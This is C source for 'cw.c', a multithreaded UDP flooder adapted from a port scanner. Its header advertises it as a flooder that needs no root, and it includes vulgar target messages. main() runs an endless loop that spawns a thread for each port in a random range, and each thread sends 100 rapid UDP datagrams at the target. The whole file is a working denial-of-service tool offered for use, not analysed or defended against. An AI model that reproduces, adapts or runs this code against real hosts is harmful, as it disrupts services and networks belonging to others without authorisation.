/* cw.c
 * a udp flooder that doesnt need root, based off udp-bitchslap.c
 * cw.c By NTFX
 * Legion2000 Security Research 1996 - 2002
 * Contact: NTX@SpyModem.Com
 *
 * "Multithreaded cw"
 * gcc -o cw cw.c -lpthread
 * lgcc -o cw cw.c -lpthread
 */

#include <errno.h>
#include <netdb.h>
#include <pthread.h>
#include <stdio.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>

void usage (char *program);
void *scanport (void *arg);
char *elapsed (struct timeval first, struct timeval second);

struct sockaddr_in s_in;
FILE *out;
pthread_mutex_t varlock = PTHREAD_MUTEX_INITIALIZER;
pthread_t threadid;
int numthreads = 0, done = 0, ready = 0;
u_short lower, upper;

#define MAXTHREADS 256   /* The maximum number of concurrent threads available */
#define TIMEOUT 0 
#define NUMRETRIES 100    /* Number of times to retry when no error or datagram
                           is received in reply */


void
usage (char *program)
{
  fprintf (stderr,
           "Invalid usage; please try: ./cw <desthost>\n");
  exit (-1);
}


/* Our scanning method really kinda sucks, but its the best we can do,
 * due to various limitations in the protocol itself. If a host or
 * its routers return no data for a particular port, the best we can
 * do is assume that the port is open. If neither a UDP datagram nor
 * an ICMP error message is returned, we must declare the port open.
 * This is because some UDP ports dont respond to malformed packets.
 * If we receive a UDP datagram back, obviously the port is listening.
 * Last but not least, if the port is in fact closed, and the host is
 * responsive, the recv() will fail, yielding an errno of ECONNRESET,
 * corresponding to an ICMP port unreachable message. As we see, some
 * UDP services such as daytime will send a packet upon receipt of ANY
 * datagram, but other services such as BIND will only respond to a
 * legitimate DNS packet, thus effectively always timing out.
 * As we all know, UDP is an unreliable protocol, so two probes will
 * be sent to a port that times out, just to ensure that the packet
 * was not dropped, misrouted, or lost in transit. 
 * NOTE: If you scan your localhost there might be a misleading
 * collision caused by a packet that is sent to one of the very same
 * UDP sockets that you are scanning from :) */

void *
scanport (void *arg)
{
  struct sockaddr_in mys_in = s_in;
  struct servent *se;
  struct timeval tv;
  fd_set readfd;
  u_short port;
  char data[1], *alphaport;
  int error, udpsocket, counter, open;

  pthread_mutex_lock (&varlock);
  numthreads++;
  pthread_mutex_unlock (&varlock);

  if ((udpsocket = socket (PF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1)
    return;

  pthread_detach (pthread_self ());
  port = (u_short) arg;
  mys_in.sin_port = htons (port);

  if (connect (udpsocket, (struct sockaddr *) &mys_in, sizeof (
               struct sockaddr_in)) == 0)
    {


      for (counter = 0; counter < NUMRETRIES; counter++)
        {
          FD_ZERO (&readfd);
          FD_SET (udpsocket, &readfd);
          tv.tv_sec = TIMEOUT;
          tv.tv_usec = 0;

          send (udpsocket, data, 0, 0);
          error = select ((udpsocket + 1), &readfd, NULL, NULL, &tv);

          switch(error)
            {
              case (-1):
                fprintf (stderr, "Select() failed; exiting.\n");
                exit (-1);
                break;
              case 0:
                open = 1;
                break;
              case 1:
                open = (recv (udpsocket, data, 0, 0) != -1);
                break;
            }   

          if (error != 0)
            break;

        /* If error was 0, there was no reply; we retry for 
           a variable number of times */

        }

      if (open)
        {

       /* It may seem silly to print to a buffer first, but we must
        * printf() in one fell swoop to avoid the threads accessing
        * stdout concurrently and merging their output. */

    //      alphaport = (char *) malloc (8);

   //       if (error == 0)
   //         snprintf (alphaport, 7, "[%d]", port);
    //      else
      //      snprintf (alphaport, 7, "%d", port);
         
        //  if ((se = getservbyport (htons (port), "udp")) != NULL)
          //  fprintf (out, " %s (%s),", alphaport, se->s_name);
         // else
  //          fprintf (out, " %s,", alphaport);

        }

    }

  fflush(out);
  close (udpsocket);
  pthread_mutex_lock (&varlock);
  numthreads--;

  if (port == upper)
    done = 1;

  if ((done) && (!(numthreads)))
    ready = 1;

  pthread_mutex_unlock (&varlock);

  pthread_exit (NULL);
  return;
}


int
main (int argc, char *argv[])
{
  pthread_t threadid;
  struct timeval initial, final;
  struct hostent *he;
  u_short inc;

  if (argc != 2)
    usage (argv[0]);

  //if ((!(lower = atoi (argv[2]))) || (!(upper = atoi (argv[3]))))
  //  {
   //   fprintf (stderr, "Invalid lower or upper port specified! Exiting.\n");
   //   exit(-1);
   // }

  if ((he = gethostbyname (argv[1])) == NULL)
    {
      fprintf (stderr, "Unable to resolve target host! Exiting.\n");
      exit (-1);
    }

  memset (&s_in, 0, sizeof (s_in));
  s_in.sin_family = AF_INET;
  memcpy (&s_in.sin_addr.s_addr, he->h_addr, he->h_length);

//  if (upper < lower)
//    {
      inc = 65535;//upper;
      upper = rand(); //lower;
      lower = rand(); //inc;            
//    }

  out = fdopen (fileno (stdout), "w");
  fprintf(out, "\nCock whipping host : %s with leet packets ", inet_ntoa (s_in.sin_addr));
  fflush (out);

  gettimeofday (&initial, NULL);
  /* We've prepped everything, now it's time to scan each host in a loop */
while(1)
  for (inc = lower - 1; inc<= upper; inc++)
    {
//      while (numthreads >= MAXTHREADS)
//        ;       /* A null loop to wait until space is freed */  
      pthread_create (&threadid, NULL, scanport, (void *) inc);
    }

  while (!(ready)) { }  /* Another null loop to wait for all scanning to get done */

  gettimeofday (&final, NULL);
  printf ("\nFinished scan for a total of %s seconds.\n",
          elapsed (initial, final));
}


char * 
elapsed (struct timeval first, struct timeval second) 
{
  char *length;         /* x.yy Seconds.hundredths */
  double a, b, diff;
  
  length = (char *) malloc (7);
  a = first.tv_sec + ((double) (first.tv_usec) / 1000000);
  b = second.tv_sec + ((double) (second.tv_usec) / 1000000);
  diff = b - a;
  snprintf (length, 6, "%2f", diff);
  return (length);
}


